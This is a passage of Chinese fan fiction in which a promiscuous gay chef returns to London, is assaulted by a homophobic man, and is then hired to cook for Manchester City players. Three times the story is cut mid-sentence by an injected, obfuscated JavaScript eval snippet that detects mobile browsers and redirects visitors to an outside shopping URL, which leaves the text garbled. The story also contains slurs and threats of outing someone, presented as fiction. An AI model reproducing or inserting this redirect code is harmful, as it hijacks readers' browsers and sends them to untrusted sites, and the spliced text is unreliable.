克里奇利也相信,他不是啃草的驴,是吃肉的虎。不好好从饮食上下功夫,就瘦的快皮包骨了。 两个星期的食疗是成功的,罗德里肉眼可见的长了点肉,脸色也红润起来,发色也乌黑发亮,连说话都底气十足,大笑起来更是震耳欲聋。最关键的是,他去曼城医院复查,医生问他打激素了没?他说没有啊,一直遵医嘱,不该吃的药打的针一点没碰。 医生说:“你这个年龄能恢复这么快堪称医学奇迹了,不愧是运动员身体。” 他说:“我才25岁而已,恢复快是正常的吧。” 医生说,“足球运动员的25岁和普通人可不一样,骨龄严重超标,你两周前伤口附近还有积液,现在已经全都吸收了,恢复的非常神速,让我不得不怀疑你回到了17、8岁。” 罗德里弯弯嘴角,心下好像有了答案,这段时间吃的太好了,每天最期待的就是克里奇利提着保温箱来他家送饭,虽然花样不多,但是每样都很可口,连他带来的辣椒酱和橄榄菜都那么好吃。 他想让克里奇利留下,于是带他去看了场曼城的比赛,他知道克里奇利不能没有朋友圈,因为他看得出来,自己身上长的几斤称可能是克里奇利掉的,他变得不爱说话不爱笑也不爱活动了,跟在伊维萨岛遇见的那个幽默健谈肆意展现自己的人大不一样。 可惜,那场比赛输了。这已经是曼城各项赛事输的第6场了,本以为主场作战打热刺应该能拿下3分,结果被人家拿了3分不说,还被踢了个3-0。 看着身边克里奇利一句话不说,急的他直捏大腿,恨不得立刻穿上队服冲上去救火,然而他没能上去的,他队友德布劳内上去了。但为时已晚,就算是德布劳内,也没能在最后时刻挽回点颜面。 克里奇利整场比赛一句话没说,连啧一声都没发出,他一直把脸埋在领口里,只露出俩大眼睛来回扫。罗德里怀疑他看不懂,就对他说:“嗯,我们输了,但是是有原因的,我们伤病太多了,位置太空。” 克里奇利也起身准备退场,他说:“我很遗憾看到你们输球。” “没关系,输球也正常,谢谢你陪我来看。”罗德里拍拍他肩膀。 “应该是谢谢你带我来看,不过我还是要说一句抱歉,我想回伦敦。” 罗德里叹了一声,说道,“好吧,虽然我很想留住你,但你有你的选择。” “嗯,谢谢理解。这两周我过得很愉快,你的朋友们对我都很好,替我像劳拉问好,她送我的围巾很漂亮。” “哈哈,她买了两条,作为咱俩的圣诞节礼物,提前祝你圣诞节快乐,布莱恩。” “圣诞节快乐,罗德里。” 他们拥抱告别。 曼彻斯特的冬天雨雪霏霏,和伦敦的雾色还不一样,伦敦温暖的大冬天穿个夹克依然可以在酒巷子里寻欢,而曼彻斯特晚上9点就冷清的大街上连个人影儿都没有。 很显然,克里奇利的曼彻斯特之旅以不适应新的生活而宣布告终。 他回到伦敦,考虑把他住的阁楼抵押出去,换一个小点的隐蔽点的公寓,这样既能节省开支也能重新生活,省的那些夜猫子半夜敲他门,讨他的风流债,然后再让他欠上一笔。很多次了,他家门口的墙上和他的车上都被人喷过漆,什么go to hell,faggot,AIDS,他不谈恋爱都这么被报复,要是谈恋爱还不整天被打的鼻青脸肿。他要是忘了恋爱对象的名字或者喊成了前任,不被打才怪。 他想,过了节就变卖资产。 平安夜当晚,他又和他两个好朋友聚在一起了。还是Nice吧,还是一排“深水炸弹”,喝完了跳舞,跳完了抽奖,抽走的奖品带回家,第二天再聚在健身房分享细节。 克里奇利总是能带走舞池里最耀眼的那位,当然他也是最耀眼的那位,只是他没站在高台上,不供人挑选。 平安夜他带走一个和他差不多高的黑发男人,头上戴着毛绒耳朵发卡,腰上系着狼尾,下颌有点尖,喜欢笑,一笑就呲出两排小白牙,跟他走的时候没穿上衣,走的太急,怕克里奇利反悔,直接赤着上身就上了他的车。 伦敦再温暖也是冬天啊。克里奇利只好脱下他的黑色皮夹克给小狼狗穿上,小狼狗扑过去亲了他一口。 似曾相识的感觉,克里奇利不知道为什么会选择他,可能因为他看上去很乖巧,识别口令很快速,对他说:“过来,看着我,转一圈,跟我上车。”他都乐呵呵的去做,不是那种看上去会咬人的狼狗。 希望第二天不要喊错他的名字,他叫本. 路易斯,不是鲁本. 迪亚斯。 克里奇利又喝了个断片,把小本折腾到半夜,还让他把自己4000多的皮衣给穿走了。本说,明天我还你,他说还什么还,明天我不就不在曼彻斯特了,你上哪找我去。 这个叫本的男人一点都不笨,他就知道克里奇利是一个神志不清还不负责任的酒鬼,连自己在哪都不知道,更别提会和他处关系了,prada的皮衣不要白不要。 第二天,克里奇利还做着梦呢,梦里他问God,为什么和你一天生日,你却要憎恶我,让我去下地狱,可人都是你造的,你不应该负点责任吗?(参考圣经) 等他醒来的时候,真的下地狱了! 他眼前一片黑暗,耳边响着葬礼进行曲,空旷黑暗的房间只有形影幢幢的烛火映照着白色的窗棂,风一吹,那些白窗帘就像幽灵似的向他扑过来,张开了血盆大口,露出骇人的獠牙。 “什么鬼!”他以为自己在做梦,可他明明听到有鬼哭狼嚎的动静,这动静真实的好像就在他脚底下,他第一次感到害怕,哪怕是take drugs也没出现过这么真实的幻觉,而且drugs的副作用都是满眼的帅哥,怎么变成满屋的鬼魂了! 吓得他拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14446910|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被子蒙住了头。 怎么还有拽他被子的? “啊——!!滚开!!”他一通乱踢。 突然房间灯光亮了,音乐一切变成了生日快乐歌,房间也由阴森恐怖葬礼风摇身一变成了气球礼炮欢乐屋。 他从被子里冒出头来,眯着眼睛看向四周,屋里站满了人,好像都是昨晚夜店跳舞的,有不少脸熟的,其中最熟的莫过于他那两个内裤都穿一条的好基友。 “30岁生日快乐!”理查德在他耳边放了一炮,金片拉丝纷纷落下挂在他支愣的头发上。 “30岁忌日快乐!”保罗为他捏下了一张半裸懵逼照,还是用的立拍得。 保罗甩了甩照片塞到他手里,亲了他头一下,对他说:“蝴蝶大道Nice吧里最风流的大stud也有30岁的这一天,可悲可叹啊!” “Fuck you!”克里奇利差点被他俩吓报废,“真有你们的,就不能让我安静的度过这一天,还有,我永远18,别给我扯30的蛋。” “来,给我们最帅的布莱恩一个18岁的大impart,成人礼派对现在开始!” 保罗一声令下,克里奇利的家秒变夜店。 这是中午12点啊,可不是午夜12点,找这么多人来是真费了不少心思,克里奇利是感谢他这俩好朋友呢还是把他们都撵出去呢,这是个问题。 想来,克里奇利在曼彻斯特过得并不是很愉快,要不也不能这么快就回来,他们这两个宅男也算是下了血本,要哄他们的大宝贝开心开心,于是置办了一个“午会”,让克里奇利这个30岁生日过得风风火火,一辈子忘不了。 谁知,克里奇利并不买账,他说,“你们玩完了给我收拾好,还有,别在我家乱搞,我要卖了阁楼,这么多人,不,这么多公狗,骚味儿三天三夜散不去。” 保罗喝着他的酒,问他,“你不是不回去了吗,卖阁楼干嘛?” 理查德说:“莫非我们伟大的布莱恩要过紧致的生活了?你不会去曼城是做慈善,把违约金这么快就挥霍光了吧,不过凭借你的本事,供养这个阁楼还是绰绰有余的吧。” 他说:“都不是,我就是想安稳一点,不想让豪宅跟着我受罪,哪天我真下地狱了,别影响了豪宅的身价。” “你想的真抽象,也没人继承,管他身价不身价。”保罗嘴就是没把门儿的,不过这是事实。 理查德打了他一下,说,“咱们都是这样的人,没有子嗣,也不配拥有爱情。” “不,咱俩还是可以勉为其难凑一对,布莱恩是不想,不是不配。” 克里奇利被他俩吵的头疼。 这时电话又响了,是曼彻斯特的陌生号码。 他接了起来,那边说:“尊敬的克里奇利先生,能否邀请你来曼城俱乐部一趟,有一笔生意想和你谈谈。” 房间里音乐嘈杂,克里奇利听不太清,他吼了一句:“Shut fuck up!” 房间里顿时安静了下来,人人都盯着这个只穿着一条内裤,倚在浴室门口像个人鱼一样的美人,正目中无人的接打电话。 他说:“抱歉,我不是说你,我屋里太吵了。” 那边又重复了一遍。 克里奇利想了想,说:“好吧,那我就再去一次。” 19.第 19 章 挂了电话,克里奇利有点纳闷,他打电话问罗德里,罗德里却说不知道这件事情。 他们聊了一会儿。罗德里说:“那天吃饭我们行政总监也在场,你忘了?” 克里奇利说:“哦,我想起来了,那个葡萄牙人,叫什么来着?他说自己是一个中餐爱好者。” “约克雷斯。” “哦,对,就是他给我打的电话。” “哇哦,那很了不得,他很少亲自联系业务的,除非是big deal。” 罗德里继续说:“你还别说,最近我听说我们后厨都乱成一锅粥了,球员们挑食很严重,不知道是不是冬天的缘故,大家身体都发紧,鲁本迪亚斯训练时伤了,他向我抱怨餐厅的饭越来越难吃,自己都没动力去上班了。还有阿克阿坎吉福登德布劳内都多多少少有点伤病,我真担心下一场对利物浦被他们给踢死。” 克里奇利说:“我还不知道是什么生意,我最近手头上有一点小事,处理完了就过去看看能不能帮上些什么。” 挂了电话,克里奇里想不会是鲁本迪亚斯吧?他只吃了我一碗面条而已,就赖上我了?不过要是他喜欢吃的话,自己不介意多做几顿像样的饭菜给他吃。 他把心爱的阁楼挂到了房产中介,这次去曼彻斯特不知道要出差多久,如果阁楼很快就卖了,自己回来还没地方住呢。 曼城打利物浦的这天晚上,克里奇利一个人在nice吧的包间里看球,怀里搂着一个金发小帅哥,但他看球太专注了,总是把小帅哥的脸从自己的脸前扒拉开,说等一会儿看完这场球,我就带你出去玩。 小帅哥一生气说你自己玩吧,传闻中的克里奇利居然是个外强中干的花架子,真没意思,一摔门走了。 这个时候曼城0比2落后于利物浦,再输就是七连败,谁敢想象这是上个赛季的英超冠军啊!看的克里奇利打不起精神来。 这个小帅哥刚出门不久,又进来一个小帅哥。 克里奇利抬眼看看,发现有点面熟,这不是那天说他爸在阿森纳做行政主厨要保养自己的那个叫什么他忘了的小孩吗,但他姓勒温,克里奇利是知道的。 克里奇利刚想说同一个人我不做第二次的时候,这个小帅哥就爬上了他的床。 突然,他的房门被一脚踹开。进门的正是肖恩勒温,现任阿森纳的行政主厨,克里奇利的前同事,一个40多岁的有一点娘的大胡子老爹。 他闯进来的时候,克里奇利的手正推在小伙子的肩膀上阻止他扒自己的裤腰,但这个场景十分让人误会接下来的画面是什么。 大胡子男人上前两步,一把抓住他儿子的肩膀往后一扯摔在地上,接着又抓住了克里奇利的衬衫领子,把他也薅下床来。 克里奇利说冷静! 肖恩勒温骂了一句死变态,就一拳砸在了他的嘴角上。 克里奇利虽然是个不着调的混子,但他也算是优质职场里的高素质白人,骨子里自带的一点优雅和清高,他不动手,不代表他打不过别人,只是他最近身体不太好,过了30岁生日之后就蔫了,只喝酒不好好吃饭,竟然被这一拳给打倒在地。 紧接着,这个男人又上前踢了他几脚。在踢他第四脚的时候,克里奇利忍无可忍一把抱住了他的脚,往旁边一翻,就把他给翻倒了。 克里奇利爬起来,想要给这个家伙一点教训,却被这个小孩给抱住了腰。 “Oh,求你,他是我爸爸。”小孩哀求道。 克里奇利吐了一口唾沫,全是血丝。然后一把推开这个小孩,怒斥他:“谁叫你进来的?出来玩没请好假吗?” 肖恩也从地上爬起来,还要继续和他打,又被他儿子跑过去也抱住了腰,嘴里喊着:“不,爸爸,你不要打他,是我主动招惹他的。” 肖恩指着克里奇利的鼻子骂:“faggot!不要脸,勾引我儿子。” 谁骂他faggot都不要紧,只是这个老家伙他不配。 喝了点酒的克里奇利此时头脑十分清醒,他一字一句的说:“faggot?你们两个都是faggot,一大一小。” “胡说八道!” “哼!别以为我不知道,老家伙,那些照片是你拍的,你要是不来这儿,怎么会看见我?要是我写封举报信举报你也是给的话,你猜会怎么着?” “谁会信你?” “自己是给还不允许儿子是,不知道你老婆知道了会怎么想?” “空口无凭,少吓唬我。”他明显神色紧张,不确定自己或者他儿子有没有什么把柄落在克里奇利手上。 “唉,可悲。我们都是一样的人,不帮助同伴还落井下石,这种事我可干不出来,我也不知道你儿子在学校被人发现是给的话,会不会也遭受今天这样的毒打?” 克里奇利虽然没有明确说什么,但是给这个老家伙提了3个醒,第一举报他是给让他丢了工作,第二告诉他老婆他是给,叫他没了家庭,第三告诉学校他儿子是给让他儿子没空干别的。 他儿子听了竟然站到了克里奇利这一边,发表着青少年正义的理论,他说:“爸,我瞧不起你,给我们queers丢脸,不用克里奇利先生说什么,我明天就出柜。” 肖恩勒温没想到自己今天会碰钉子,他本来是跟踪他儿子,看看他儿子到底是不是给,结果栽到了克里奇利这里,他就明白了,这是报应。 克里奇利选择报了警,不幸的是,他被这个老家伙踢断了一根肋骨,好在不是特别严重,不需要做特殊处理,但他却因此获得了一大笔医药费。 他同意了私下解决,肖恩勒温支付了医药费和精神损失费又给他赔礼道歉,这件事才算完。 曼城方面急需他过来救场,因为曼城的行政主厨最近生病了,一时没有合适的人选能顶上这个位置,球员饮食保证不好,下一场再输球就要背最大的锅,行政总监这个职位也保不齐要丢了。 鲁本迪亚斯跟他葡萄牙老乡约克雷斯开玩笑说:“国家比赛日之前的阿森纳就是吃了克里奇利做的饭,才一个个生龙活虎的,而罗德里吃了克里奇做的饭,也生龙活虎的了。咱们不能碰碰运气吗?” 于是,克里奇利来到曼彻斯特还没安顿好住处就被叫去了曼城行政总监的办公室。 他是捂着自己的左肋去的,约克雷斯热情的接待了他,在办公室的等他的还有他的好朋友罗德里。 约克雷斯说:“知道你要来,罗德里特意跑过来和我说,务必把你留下,下一场对阵诺丁汉森林十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456779|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重要,是一场绝地反击的翻身仗。” 克里奇利笑了,他说:“我只是个厨子而已。” 罗德里说:“本来我想私自占有你,可考虑到我那群可怜的队友们,他们或许更需要补一补,我这也算大公无私,为球队做贡献了吧?” 约克雷斯笑着说:“论做贡献的话,还得是我老乡鲁本迪亚斯呀,他说今天要是吃不上克里奇利做的饭,他就要给我买回葡萄牙的机票了。” 克里奇利被他们的幽默给逗笑了,但内心无比满足,他感觉到自己被需要,被重视,被尊重,不管他本事如何,先把这个空缺给补上,于是他直接问道:“请问曼城的后厨怎么走?” 约克雷斯和罗德里相视一笑,好像完成了什么伟大的球星签约一样,兴奋劲快要溢出言表。 事不宜迟,约克雷斯拉着克里奇利往俱乐部的餐厅走。 罗德里却关心的问他:“你是怎么受的伤?要不要紧?” 克里奇利说:“没事,一点小意外而已。” 就在他们往餐厅走的时候,正赶上球员们结束上午的训练来吃午餐了。 鲁本迪亚斯一眼就看见了走在他前面穿着黑色立领大衣的那个宽肩窄腰的身影,他把缠着他的格拉利什晾在一边,跑过去从克里奇利的身后一把搂住了他的肩膀。 “嗨,又见面了,布莱恩!”他熟络的喊他的名字。 “Oh!”克里奇利一弯腰,好似害怕冲击一样的伸手捂住了自己的左肋,然后挤出一个笑容来,说道:“Hi!鲁本迪亚斯!很高兴再见到你。” 鲁本迪亚斯发现他的异样,立刻皱紧了眉,关切的询问,“哦,天呐!布莱恩,你这是怎么了?” 罗德里回头对鲁本说:“你的莽撞差点造成了对他的二次伤害。” 克里奇利抬起右手扯了扯鲁本那上了霜的围脖,温柔的说:“我没事,肋骨受了点伤。” “怎么弄的?” “喝多了撞的。” “胡扯!” “吃几顿排骨就好了。” 鲁本也不好表现的太过紧张,但他知道克里奇利在撒谎,一定是惹了什么风流债被人打的,心里刚想骂他活该,但还是心疼占了大部分。 他目送着克里奇利和约克雷斯走进餐厅,拉住罗德里问他,“终于舍得把你的私人营养师贡献出来了?” 罗德里笑着说:“好东西要和大家一起分享,主要是我看不得你受伤了还来训练,不得想方设法的给你补补才是。” 球员们听说今天晚上要搞聚餐,是他们的赛前激励餐也是克里奇利试菜上岗的第一餐。 鲁本不放心的打电话问克里奇利:“你行吗?今天晚上可是一个大项目。” 克里奇利说:“你们靠脚吃饭,我靠手吃饭,谁不得做点顶着压力上的事。你不也是带伤训练,或许我们都该有点转机,不能一直走霉运吧。” 鲁本迪亚斯说:“虽然你人是浪了一些,说的话做的事还怪励志的,希望你不是被人打了才有这番觉悟的。” 克里奇利无奈的笑笑,他想自己都30了,就算不成家也该立业了,以后谁在职场再给他使绊子,可就不是私下解决这么简单了。 一场盛大的晚宴开始了。 20.第 20 章 克里奇利根本不用准备什么,他只需要甩着手去就行,唯一不便的是他得忍着痛颠大勺。 幸亏伤的不是右侧,那他也得猫腰改刀,左手持锅,所以他真的是咬牙切齿的在工作。 正当他切完火腿捂着左肋喘口气的时候,厨房走进来一个人,帮厨见了都喊她“Eleven sis”。 十一姐还是十一妹的,克里奇利忙的抬不起头,但听进耳朵里突然手上动作一抖,萝卜花掉盘子里了,他反应过来,他小师妹叫薛诗怡,直译就很难听,于是给自己改名叫eleven,不会是她吧。 他转过头去看,这个女人穿着一身白色的厨师服,戴着副主厨的帽子,正撸着袖子气势汹汹的向他走过来。 “诗怡!”克里奇利侧着身子喊出了她的名字。 厨房的人一片哗然。 他们在想新来的这个叫克里奇利的代主厨胆子怎么这么大,敢骂他们十一姐“shit”,不会上班和辞职赶同一天吧。 “谁让你叫我中文名字的!”Eleven上前就重重打了一下克里奇利的手臂。 一家人以为他俩要因为主厨的位置打起来了,都屏住了呼吸,有的人还按住了刀具。 “Oh!my dear!是你吗?”克里奇利眼睛睁的大大的,不敢相信快十年没见的小师妹,现在就站在自己面前,以前总是一脸姨母笑盯着他调戏客人的牙套妹,竟然出落成一个成熟冷艳的东方大美女,让他一时不敢相认。 他忘了肋骨疼,张开双臂一下子抱住了眼前的小师妹,刚要再喊一声“诗怡”,小师妹就揪住他后背的衣服,在他耳边咬着牙说了一句,“再叫我原名试试!” “好,Eleven。”克里奇利叫了一声她的英文名,接着感到左肋一阵刺痛,痛的他咳嗽了两声,借力趴在小师妹的肩膀上。 “哥…布莱恩,你没事吧?”Eleven赶紧扶住了他的胳膊,想揍他的心情立刻转为疑惑和不安。 这么多年不见,也没个音讯,来了也不去找副主厨帮忙协调人手,就自顾自的在这一个人忙活,关键是他也不看门口厨师牌吗?那上面的照片姓名简介一应俱全,他就没认出来我这个面熟的副主厨吗? Eleven心里还在抱怨他这个师兄来了也不和她见面,要不是她听说新来的代主厨名字叫布莱恩克里奇利,还不知道他从伦敦来曼城斯特了。 “我帮你。”时间紧张,晚宴马上就要开始了,薛十一二话不说,撸起袖子先接过克里奇利的锅铲,帮他出菜。 克里奇利被她推到一边,看着她直笑,他小师妹一贯的雷厉风行,以前怕他这个笨手笨脚的师哥闯祸,经常帮他炒菜,但是师父一尝就能尝出来,不是出自克里奇利的手。 无论是火候,味道还是惊艳程度,都差那么一点点。 小师妹也没有自暴自弃,她相信天赋和悟性这种东西,自己只能靠努力和坚持,做餐饮还有热爱,她知道自己没有克里奇利那么热爱,给他打下手也很乐意,主要是她非常爱她这个美强惨哥哥。 “还是我来吧,我没事。”克里奇利想要亲自来做。 “你受伤了,别逞能,你如果不放心,调味你来。” “我怎么会不放心呢,别人我不放心,你简直就是我的盗版。” “你再说我是盗版试试!”薛十一对他举起了铲子。 薛十一一来,强大的气场影响了整个后厨,在她的指挥调度下,大家忙的热火朝天,冷盘,煎烤,甜品,配餐,改刀…叮叮当当像奏响了一曲交响乐。 克里奇利也没闲着,他做些力所能及的调味,摆盘和最后的点睛之笔。 一道道精致的菜品被推上晚宴的自助区,服务生忙着为大家分餐递酒,大厅灯光由亮变柔,古典音乐一响,一场温馨优雅餐色绮丽的大型酒会开始了。 克里奇利忙活完了,刚坐下喝口水想和小师妹叙叙旧,就有人来后厨“捣乱”了。 “嗨!打扰了,大厨们!”他一来就好像自带音乐灯光特效,进来一看只有克里奇利和Eleven在厨房角落的圆桌处坐着聊天,其他厨师都去前台帮忙或是去吃饭了。 “嗨,杰克。”Eleven站起来和他打招呼,克里奇利这会肋骨痛的厉害,没起身,只是望着这个一开口有着熟悉口音的帅小伙。 “啊,抱歉,我以为你们还在忙,那个,有没有打扰你们休息。”他嘴上说着抱歉的话,实际小眼睛在扫描案板上的食材。 这么多好吃的都没撑到他吗,克里奇利有些纳闷儿。 “没有,杰克,不用客气,我能为你做些什么?”Eleven积极主动的询问他,生怕他对今晚的菜品不满意,今晚的大餐对克里奇利很重要,她深知这一点。 “噢,谢谢你Eleven,我想问问那个椰汁三杯鸡是谁做的,还能再来一份吗?我只吃了一个翅尖觉得很好吃,再去取的时候已经只剩汤了。”他两手一摊,表示没吃够,然后目光落在脱了厨师服摘了厨师帽,有些懒散的坐在椅子上一直盯着他看的男人脸上。 这位就是罗德里的私人营养师克里奇利先生吧,他看在眼里,心里犯嘀咕,他哪一点长的像厨师,深灰色衬衫的第三颗扣子都要被涨开,身子倚靠在高高的椅背上,大长腿一伸,听到他说三杯鸡后似笑非笑的把目光延伸过来,好像要穿透他的眼睛那么深邃。 “可以。请这位尊贵的先生稍等一刻钟。”克里奇利手一拍扶手,借力站起来,伸手去拿厨师服,接着被Eleven扶住了手臂,她说:“你可以吗?要不…” 克里奇利知道小师妹打算找借口拒绝这位嗅着味道前来讨食的小馋狗先生,于是摆了摆手,对她说,“你没听出来吗?这是我老乡。” 小馋狗先生神经比较大条,全然没发现这位帅气的大厨身体抱恙,他说了一句“好哒!”就闪出门去。 克里奇利找了找发现只剩一对鸡翅了,那也要按流程精心制作,泰国椰浆,酱油黄酒九层塔各来一点,很快就把鸡翅做的浓油赤酱,色泽鲜亮,他用汤匙舀了一点汤放到唇边抿了抿,嗯,味道真他妈赞,不愧是个天才。 克里奇利得意的把这对鸡翅盛到一个白色瓷盘里,端着刚要去找人,Eleven扯了扯他的袖子,说:“布莱恩,那位是杰克格拉利什,曼城头号边锋,你可别记错了,他牌很大的。” “几个亿?” Eleven伸出1个手指头。 “噢,怪不得你们有句话叫春宵一刻值千金,这位真的很辣。” “噗。”小师妹捂着嘴笑,心想她这个师兄还是一如既往的浪,见到帅哥就不能自持,还没和他好好叙叙旧,他就有同性没人性了。 克里奇利不忘再次脱了他的工作服,摘了象征身份的大高帽,甩了甩头,从职场禁欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464163|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叔摇身一变成了夜店小王子。 他从舞池里一眼就看见那个摇来摇去的棕发小帅哥,他跳舞真溜,主要是他拽着一个动作僵硬好像在跳老年迪斯科的金发男人,在与他贴身热舞。 旁边还有人在起哄,笑他这可不是夜店,稍微换个快节奏的音乐你就能把这变成伦敦大道的“鸟鸣”了? “鸟鸣”是曼彻斯特最大的夜店,包罗万象不拘泥于某一类群体,但懂的人都懂,想玩什么都有,刚来曼彻斯特的克里奇利还不太清楚,只是循着热闹跻身进去,不长眼神的挡在了金发男人的身前,用一道香气飘飘的指定菜品“勾引”走了这个舞池中的显眼包,殊不知他也成了这一小撮人群里的显眼包。 鲁本看见格拉利什把挎着德布劳内的手转而伸向克里奇利,还主动挎上他胳膊,脚底下不忘踏着节奏,对克里奇利手里的餐盘跃跃欲试,他就一脸的不悦。 把他叫来真的好吗?他就是一个祸害。鲁本愤愤的走过去,把被格拉利什丢在舞池里手足无措的德布劳内拽出来,对着他吐槽:“杰克这个家伙,就知道吃!” “没事,反正我也不会跳,幸亏你把我拽出来,倒是…”德布劳内往吧台那边看了一眼,想了想对鲁本说,“你认识那个新来的主厨吗?怎么看着不像好人呢。” “啊…”鲁本搓搓他高挺的鼻梁,“他,还好吧,看着挺绅士的。” “我看人很准的,他就是个八面玲珑不择手段的狠人,能从阿森纳火速跳槽来曼城,还一夜之间获得了超高的人气,不是祸害就是神棍。” “害,管他呢,做菜好吃就行。” 鲁本看出德布劳内不喜欢他,心里还莫名其妙舒了一口气。 那边的吧台上,一簇灯光照在克里奇利为点餐之人特意做的菜品上,虽然只有一对,也让格拉利什笑弯了眉。 他说:“哇哦,你可真快,我才跳了一支舞。” 克里奇利说:“我做事可不能简单用快来形容。” 格拉利什眨巴眨巴眼睛,露出一丝似懂非懂的暧昧神情,接着用叉子叉起一块鸡翅咬了一口,又立刻绽放出幸福的笑容,他说:“哇哦,真的好吃,比我吃过所有的中餐都要好吃。” 克里奇利拄着下巴,看着他一脸陶醉的样子,自己也好想吃到了什么了不得的东西一样跟着陶醉了。 不知道嘴馋的小狗先生有没有兴趣和他喝上一杯,克里奇利开始蠢蠢欲动,他刚要给格拉利什倒上一杯酒,就被他拉住手腕,发出了邀请:“走,我带你认识一下大家,跳舞去吧。” 要是平时,才不用别人邀请他跳舞,主动出击的只能是他,但今天他已经忍了一晚上痛楚了,是真的不敢再动了。结果格拉利什这一下正巧拉痛了他的伤处,他哎哟一声,捂住自己的左肋,反手握住了格拉利什的手腕,喊了一声:“杰克!” 格拉利什这才意识到,这个高大威猛的男人身上有伤。他吓了一跳,问他:“你怎么了?” “我受了点小伤,不过不要紧。”克里奇利抓住他的手,借力不松开。 格拉利什突然意识到自己还冒昧的要求他现做了一道菜,现在又把他伤到了,于是愧疚的赶紧退后一步抱住了他倾斜的身体,凑上去关切的问他:“需要我叫医生吗?” “唔…”克里奇利皱着眉,冷汗直流,那也没忘了释放他要命的信息素,他说,“杰克,不用,让我靠一会。” 21.第 21 章 待他气喘匀了,格拉利什才把他的胳膊举起来绕过自己的脖子,另一只手抱住他的腰,带他从后门出去了。 鲁本再往这边看的时候,两人都没影了。 啧。他摇了摇头,心想克里奇利第一天来试菜就拐走一个小帅哥,不怪德布劳内嘴毒,他真的是伦敦大祸害,又一想,他们都是伯明翰人,更有的聊了。再想想自己,一顿饭都还没吃完,魂儿都让他勾走了,真是风流成性,造孽啊。 格拉利什架着他往车库走。 克里奇利很大只,胳膊搭在他肩膀上,身体倚靠过去就像一把大伞把格拉利什整个人都罩住了。 他们紧贴在一起,克里奇利闻着格拉利什颈间散发的一阵阵香草清甜,没喝酒就有点要醉了。只是痛感明显,他呼吸有些不稳,从他鼻腔里呼出的热气重重地往格拉利什的领口里钻。 “我送你回家吧。”格拉利什不知道他到底有多疼,也不敢使劲搂他。 “嗯,谢谢。”克里奇利这会直腰也痛弯腰也痛,兴许是劳累过度,刚才工作的时候注意力太过集中,没意识到这种锥心刺骨的痛,现在痛的他实在忍不住发出一声声绅吟,让人浮想联翩的。 克里奇利坐上格拉利什的蓝不蓝绿不绿的拉风保时捷,心里还有些抵触,虽然他也不是什么省油的灯,但也不习惯太过张扬,更让他感到困惑的是,格拉利什开车超级随意。 格拉利什平时开车罚单一堆,大多是超速,违停和闯红灯,他都在交通管理处挂上号了,每个月都来交罚金,每次都剩1分2分好歹能保住驾照不被吊销。 这次他已经尽量开的平稳了,他说都怪他的车推背感太强,一加油就猛窜,不是他要炫车技,他知道克里奇利不能经受急刹带来的冲击。 但他仍然没有点数,直接把车停在克里奇利家门口的绿化带上。 克里奇利说:“这边拍照罚款。” 他满不在乎的说:“没事,这离单位只有5分钟车程,我经常停这买早餐,每个月都按时交绿植养护费。” 克里奇利被他直言不讳打败了,想教育教育他要爱护植物,一想我也不是环保宣传员,多说无益,他也没压到什么,只是骑上马路牙子而已。 他问:“怎么餐厅的早餐不好吃吗?” “每周三都吃那个黏糊糊的土豆泥,还有浆果派,我不爱吃。” “那你爱吃什么?” “早上我爱吃新鲜的乳酪蛋糕和那里的水牛乳。”他指了指不远处的一家面包坊。 克里奇利点点头说我记住了。 格拉利什扶着他进了家门。 克里奇利这会已经连气都不敢喘了,吓的格拉利什以为自己给他造成了二次伤害,一直问他咋办,给你找点药吃? 克里奇利听了想笑又不敢笑,他说:“我都多久没听到家乡话了,杠亲切嘞!” 两个伯明翰人肆无忌惮的飙家乡话,有种相见恨晚的感觉,聊着聊着就快要拜把子了。 得知克里奇利刚过了30岁生日,格拉利什惊讶道,“不像啊,布莱恩,你看上去也就29岁。” 接着克里奇利咳嗽了两声说我谢谢你啊。 格拉利什把他放倒在床上,给他脱了鞋,拉上被子,又把自己的外套脱了,去给他倒水拿药。 “你这什么都没有怎么住人啊?”格拉利什找了半天才找到杯子,从冰箱里拿出矿泉水倒了一杯,又从他包里翻出来止痛药,不小心翻出来一盒“□□必备”,咽了口唾沫又塞回去。 “我也是第一天住这里,临时落脚之处,别嫌弃。” “不是嫌弃,你好歹是曼城请来的主厨,这待遇怎么行,明天去单位争取一下。” 说着他拿着药走过来,单膝跪在床边,伸手捞起克里奇利的脖子,把药喂给他,刚要放进嘴里又不放心的问,“没喝酒吧?” 克里奇利看着他,摇了摇头,吞下一粒止痛药,又被他慢慢的放下去。 “你这是怎么搞的?” 格拉利什想知道,他现在对克里奇利这个人充满了好奇,想知道他到底是一个怎样的人。 克里奇利一句话就告诉他自己是怎样的人。 